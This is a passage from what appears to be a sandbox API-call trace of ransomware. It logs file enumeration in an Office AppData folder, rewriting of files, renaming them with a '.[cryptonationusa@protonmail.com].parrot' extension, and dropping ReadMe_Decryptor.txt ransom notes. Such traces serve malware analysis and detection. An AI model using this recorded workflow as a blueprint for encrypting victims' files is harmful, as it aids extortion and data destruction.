HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0054.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0054.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0054.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0054.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0054.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x63e990 [0054.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0054.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x38b0048 [0054.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63e990 | out: hHeap=0x540000) returned 1 [0054.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x38b2010 [0054.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0048 | out: hHeap=0x540000) returned 1 [0054.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x38b4fa8 [0054.482] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b2010 | out: hHeap=0x540000) returned 1 [0054.482] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x38ce148 [0054.483] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b4fa8 | out: hHeap=0x540000) returned 1 [0054.483] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x38b0048 [0054.483] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38ce148 | out: hHeap=0x540000) returned 1 [0054.483] WriteFile (in: hFile=0x318, lpBuffer=0x38b0060*, nNumberOfBytesToWrite=0x94a8, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x38b0060*, lpNumberOfBytesWritten=0x18f4b4*=0x94a8, lpOverlapped=0x0) returned 1 [0054.483] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0048 | out: hHeap=0x540000) returned 1 [0054.483] UnlockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x949a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0054.483] CloseHandle (hObject=0x318) returned 1 [0054.484] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0054.484] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f19f0 [0054.484] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0054.484] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\mso1033.acl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\mso1033.acl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0054.485] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f19f0 | out: hHeap=0x540000) returned 1 [0054.485] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0054.485] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38be108 | out: hHeap=0x540000) returned 1 [0054.485] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0054.485] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0054.485] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0054.485] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0054.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0054.486] GetFileType (hFile=0x318) returned 0x1 [0054.486] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61d9b0 [0054.496] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0054.497] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.497] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90b3d80, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.497] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.497] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.497] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90b3d80, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90d9ee0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.LNK", cAlternateFileName="")) returned 1 [0054.497] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.497] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.498] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x5dc5d150, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dc5d150, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x90d9ee0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x34, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0054.498] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.498] lstrcmpW (lpString1="index.dat", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.498] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0054.499] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x18f240 | out: lpFileSizeHigh=0x18f240*=0x0) returned 0x34 [0054.499] LockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14c, nNumberOfBytesToLockHigh=0x0) returned 1 [0054.499] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0054.499] ReadFile (in: hFile=0x310, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0054.500] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.500] ReadFile (in: hFile=0x310, lpBuffer=0x3780040, nNumberOfBytesToRead=0x34, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f1c4*=0x34, lpOverlapped=0x0) returned 1 [0054.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0054.500] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0054.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0054.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0054.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3891368 [0054.500] GetLastError () returned 0x0 [0054.500] SetLastError (dwErrCode=0x0) [0054.500] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0054.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e7520 [0054.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0054.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0054.500] GetLastError () returned 0x0 [0054.500] SetLastError (dwErrCode=0x0) [0054.500] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0054.500] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0054.500] GetLastError () returned 0x0 [0054.500] SetLastError (dwErrCode=0x0) [0054.500] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0054.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0054.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4d30 [0054.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61d9b0 [0054.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0054.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0054.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4d30 | out: hHeap=0x540000) returned 1 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.501] GetLastError () returned 0x0 [0054.501] SetLastError (dwErrCode=0x0) [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61d9b0 | out: hHeap=0x540000) returned 1 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e7520 | out: hHeap=0x540000) returned 1 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3891368 | out: hHeap=0x540000) returned 1 [0054.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5bbfc0 [0054.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0054.501] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0054.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0054.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.501] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0054.501] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0054.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c58 [0054.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0054.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c28 [0054.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0054.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0054.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0054.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0054.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0054.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0054.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0054.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0054.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0054.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0054.502] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x158) returned 0x5bbfc0 [0054.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0054.502] WriteFile (in: hFile=0x310, lpBuffer=0x5bbfc0*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x5bbfc0*, lpNumberOfBytesWritten=0x18f1c4*=0x158, lpOverlapped=0x0) returned 1 [0054.502] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0054.502] UnlockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0054.502] CloseHandle (hObject=0x310) returned 1 [0054.503] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0054.503] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f19f0 [0054.503] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0054.503] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\index.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0054.504] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f19f0 | out: hHeap=0x540000) returned 1 [0054.504] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0054.504] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0054.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609048 [0054.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0054.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0054.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0054.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0054.509] GetFileType (hFile=0x310) returned 0x1 [0054.509] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61d9b0 [0054.519] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5dc5d150, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dc5d150, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dc5d150, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 0 [0054.519] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609048 [0054.519] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0054.519] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0054.519] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0054.520] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf6d0b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf6d0b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.520] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90b3d80, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90d9ee0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.LNK", cAlternateFileName="")) returned 1 [0054.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.520] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x5dc5d150, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dc5d150, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf6d0b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="INDEXD~1.PAR")) returned 1 [0054.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0054.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0054.520] lstrcmpW (lpString1="index.dat.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f19f0 [0054.520] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf6d0b00, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf6d0b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf6f6c60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0054.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0054.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0054.520] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0054.520] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5dc5d150, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dc5d150, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dc5d150, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 1 [0054.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.520] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5dc5d150, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dc5d150, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dc5d150, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 0 [0054.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609048 | out: hHeap=0x540000) returned 1 [0054.520] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0054.520] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0054.520] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90b3d80, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 0 [0054.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0054.520] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55bf20 [0054.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0054.521] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0054.521] FindClose (in: hFindFile=0x5daca0 | out: hFindFile=0x5daca0) returned 1 [0054.663] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5daca0 [0054.663] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf6aa9a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf6aa9a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.665] FindNextFileW (in: hFindFile=0x5daca0, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f6ce7b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f6ce7b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf6aa9a0, 